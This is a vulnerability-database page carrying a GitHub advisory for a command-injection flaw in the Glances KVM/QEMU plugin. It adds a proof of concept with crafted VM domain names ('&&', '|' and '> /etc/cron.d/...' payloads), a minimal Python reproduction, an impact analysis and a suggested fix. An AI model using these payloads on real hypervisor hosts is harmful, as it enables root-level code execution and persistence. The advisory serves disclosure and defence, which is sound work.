Glances CVE-2026-46606
HIGHSeverity by source
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attacker needs local libvirt privileges (PR:L) on the monitored host (AV:L); injection is deterministic (AC:L) and yields full code execution as the Glances user, so C/I/A:H.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
The Glances KVM/QEMU monitoring engine (glances/plugins/vms/engines/virsh.py) passes VM domain names, read directly from virsh list --all output, into f-string command templates that are processed by secure_popen(). secure_popen() is explicitly designed to interpret &&, |, and > as shell operators. Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances - commonly root on hypervisor hosts.
---
Details
Affected file: glances/plugins/vms/engines/virsh.py
Direct URLs (commit 04579778e733d705898a169e049dc84772c852da):
- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L185
- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L204
The vulnerable calls are on lines 185 and 204:
# line 185 (update_stats)
ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}')
# line 204 (update_title)
ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_TITLE_OPTIONS} {domain}')domain is the name string parsed from the output of virsh list --all (line 59-78 in the same file); no sanitisation is applied to it at any point before it reaches secure_popen().
secure_popen() is defined in glances/secure.py. It explicitly splits the command string on &&, |, and > before invoking subprocess.Popen with shell=False on each part, meaning all three operators are treated as real pipeline/redirection control characters:
# glances/secure.py
def secure_popen(cmd):
ret = ''
for c in cmd.split('&&'):
# '&&' → two separate processes
ret += __secure_popen(c)
return ret
def __secure_popen(cmd):
for sub_cmd in cmd.split('|'):
# '|' → stdin/stdout piped
p = Popen(sub_cmd_split, shell=False, stdin=sub_cmd_stdin, stdout=PIPE, stderr=PIPE)
# '>' is split separately for file redirectionBy contrast, actions.py sanitises process names through _sanitize_mustache_dict() before they reach secure_popen(). The vms plugin applies no such protection.
Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).
All three injection operators were verified:
| Operator | Effect | Confirmed |
|---|---|---|
&& | Second command executes after the virsh call | Yes |
| `\ | ` | Output of virsh piped to injected command |
> | virsh output redirected to arbitrary file | Yes |
---
PoC
Special configuration required
- Glances must be configured to monitor a KVM/QEMU hypervisor: the
vmsplugin must be enabled and/usr/bin/virshmust be installed and executable. - The attacker must have libvirt domain-creation or domain-rename privileges (e.g. membership in the
libvirtgroup, a typical default on Ubuntu/Debian/Fedora, or a cloud-platform tenant account). - No custom
glances.confsettings are needed beyond a working virsh setup.
Step 1 - Create a VM with a crafted domain name
Using the && operator to chain a second command:
<domain type="kvm">
<name>productionDB && touch /tmp/glances_pwned</name>
<memory>131072</memory>
<vcpu>1</vcpu>
<os><type arch="x86_64">hvm</type></os>
</domain>virsh define evil-domain.xmlStep 2 - Start Glances with KVM monitoring enabled
glances
# or: glances -s / glances -wOn the next monitoring cycle Glances calls:
virsh domstats --nowait "productionDB && touch /tmp/glances_pwned"which secure_popen() splits into two processes:
virsh domstats --nowait productionDBtouch /tmp/glances_pwned
Step 3 - Verify execution
ls -la /tmp/glances_pwned
# file will exist, owned by the Glances userPipe injection (|) example
Domain name: "productionDB | tee /tmp/virsh_output_stolen.txt"
The output of the virsh call is piped to tee, writing the data to an attacker-controlled path.
File-write injection (>) example
Domain name: "productionDB > /etc/cron.d/glances_backdoor"
The virsh output is redirected to a cron file, enabling persistent code execution on the next cron cycle.
Minimal Python reproduction (no VM required)
import sys
sys.path.insert(0, '/path/to/glances')
# adjust to local clone
from glances.secure import secure_popen
# Simulates the exact call in virsh.py line 185
domain = 'productionDB && id'
result = secure_popen(f'/bin/echo domstats --nowait {domain}')
print(result)
# Output will include two lines: the echo output AND the output of `id`---
Impact
Vulnerability type: Command Injection (CWE-78)
Who is impacted: Any deployment of Glances on a KVM/QEMU hypervisor host where the vms plugin is active. Exploitation requires the attacker to have libvirt domain-creation or domain-rename rights - a privilege granted by default to members of the libvirt group and to cloud-platform tenant APIs.
Impact:
- Confidentiality: Full - arbitrary commands can exfiltrate secrets from the Glances process environment and the file system.
- Integrity: Full - file-write injection (
>) allows placing content in any file writable by the Glances process (cron, authorised_keys, etc.). - Availability: Full - the Glances process can be terminated or the host disrupted through the injected commands.
In cloud and multi-tenant virtualisation environments, Glances commonly runs as root on the hypervisor to access performance counters, so successful exploitation typically yields root-level code execution.
---
Suggested Fix
Replace the f-string interpolation with list-based argument passing to avoid any interaction with secure_popen()'s operator splitting logic:
# virsh.py - replace lines 185 and 204 with subprocess.run and explicit arg list from subprocess import run, PIPE
result = run(
[VIRSH_PATH, 'domstats', '--nowait', domain],
stdout=PIPE, stderr=PIPE, timeout=5
)Alternatively, sanitise domain using the same _sanitize_mustache_dict helper already used in actions.py, which strips &&, |, >, ;, and backtick characters from string values.
As a defence-in-depth measure, consider running Glances under a dedicated low-privilege service account with CAP_SYS_PTRACE rather than as root.
---
Responsible Disclosure
The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.
---
Credits
This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.
---
Articles & Coverage 1
AnalysisAI
Local privilege escalation via command injection in Glances 4.5.5_dev1 and earlier allows users with libvirt domain-creation rights to execute arbitrary commands as the Glances process owner (typically root on hypervisor hosts). The flaw lives in the KVM/QEMU monitoring plugin, where VM domain names parsed from virsh list --all are interpolated into command strings handled by secure_popen(), which intentionally treats &&, |, and > as control operators. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires (1) Glances built from a vulnerable commit or release prior to 4.5.5 with the `vms` plugin enabled in `glances.conf`, (2) the `virsh` binary at `/usr/bin/virsh` present and executable on the monitored host, (3) the attacker holding libvirt domain-define or domain-rename privileges - typically membership in the `libvirt` group on Ubuntu/Debian/Fedora or an equivalent cloud-tenant API role - and (4) Glances actually polling the `vms` plugin (default when the plugin is enabled, no extra configuration needed). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The published CVSS 3.1 vector AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (base 7.8) aligns with the description: the attacker must already hold libvirt domain-creation or rename rights on the host, but once that prerequisite is met exploitation is deterministic and yields full CIA impact, frequently as root. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with libvirt domain-creation rights - for example a member of the `libvirt` group on Ubuntu/Debian/Fedora or a tenant in a cloud virtualisation API - defines a VM whose `<name>` contains a payload such as `productionDB && touch /tmp/glances_pwned` or `productionDB > /etc/cron.d/glances_backdoor`. On the next polling cycle Glances calls `virsh domstats --nowait <name>`, `secure_popen()` splits the command on `&&`/`|`/`>` and runs the injected fragment as the Glances user (commonly root), giving the attacker arbitrary command execution and a straightforward persistence path via cron or SSH keys. … |
| Remediation | Vendor-released patch: 4.5.5 - upgrade Glances to version 4.5.5 or later (release notes https://github.com/nicolargo/glances/releases/tag/v4.5.5, advisory https://github.com/nicolargo/glances/security/advisories/GHSA-v5r2-qh84-fjx5), which replaces the vulnerable f-string interpolation with safer argument handling. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
24 hours: Identify all systems running Glances 4.5.5_dev1 or earlier and determine which users hold libvirt domain-creation rights. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
More from same product – last 7 days
Authentication bypass in StarTree mcp-pinot versions 3.0.1 and earlier exposes the Model Context Protocol HTTP server on
Unauthenticated remote code execution in IBM Langflow OSS versions 1.0.0 through 1.9.3 allows attackers to fully comprom
Cross-user flow execution in Langflow versions prior to 1.9.1 allows any authenticated API user to run another user's fl
Unauthenticated remote code execution in Crawl4AI versions <= 0.8.6 allows attackers to escape the AST-based sandbox in
InHand Networks IR912 V1.0.0.r20042 and IR915 V1.0.0.r20042 (including earlier versions) were discovered to contain a co
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-v5r2-qh84-fjx5